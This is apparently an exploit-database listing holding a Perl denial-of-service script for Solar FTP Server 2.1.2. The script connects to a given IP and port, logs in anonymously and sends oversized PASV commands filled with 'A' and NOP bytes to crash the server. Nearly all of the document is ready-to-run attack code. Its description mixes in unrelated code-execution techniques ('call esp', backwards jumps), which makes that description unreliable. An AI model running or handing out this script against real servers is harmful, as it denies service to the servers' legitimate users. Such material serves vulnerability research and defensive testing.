Exploit for Solar FTP Server 2.1.2 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:176675
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: Solar FTP Server 2.1.2 - PASV - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 23 january 2024  
# Vendor Homepage: N/A  
# Download to demo: https://drive.google.com/file/d/1o4xTt67bUJYAAKm0pqNIG99ly--xRQBp/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Solar FTP Server 2.1.2 - PASV - Denial of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=U9nH6gqyT88  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The FTP server does not correctly handle the amount of data or bytes sent.  
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
print "[+] Connecting to $ip:$port\n";  
my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "Could not connect to $host:$port\n";  
  
$s->send("USER anon\r\n");  
my $response = <$s>;  
print $response;  
$s->send("PASS anon\r\n");  
$response = <$s>;  
print $response;  
$s->send("SYST\r\n");  
$response = <$s>;  
print $response;  
sleep(2);  
$s->send("PASV " . "\x41"x6631 . "\r\n");  
sleep(3);  
$response = <$s>;  
print $response;  
$response = <$s>;  
print $response;  
print ">>> Sending second payload\n";  
$s->send("PASV " . "\x90"x123 . "\x90"x2877 . "\r\n");  
$response = <$s>;  
print $response;  
sleep(2);  
  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "######################################################################\n";  
print "# #\n";   
print "# Solar FTP Server 2.1.2 - PASV - Denied of Service #\n";  
print "# #\n";  
print "# Coded by Fernando Mengali #\n";  
print "# #\n";  
print "# e-mail: fernando.mengalli\@gmail.com #\n";  
print "# #\n";  
print "######################################################################\n";  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}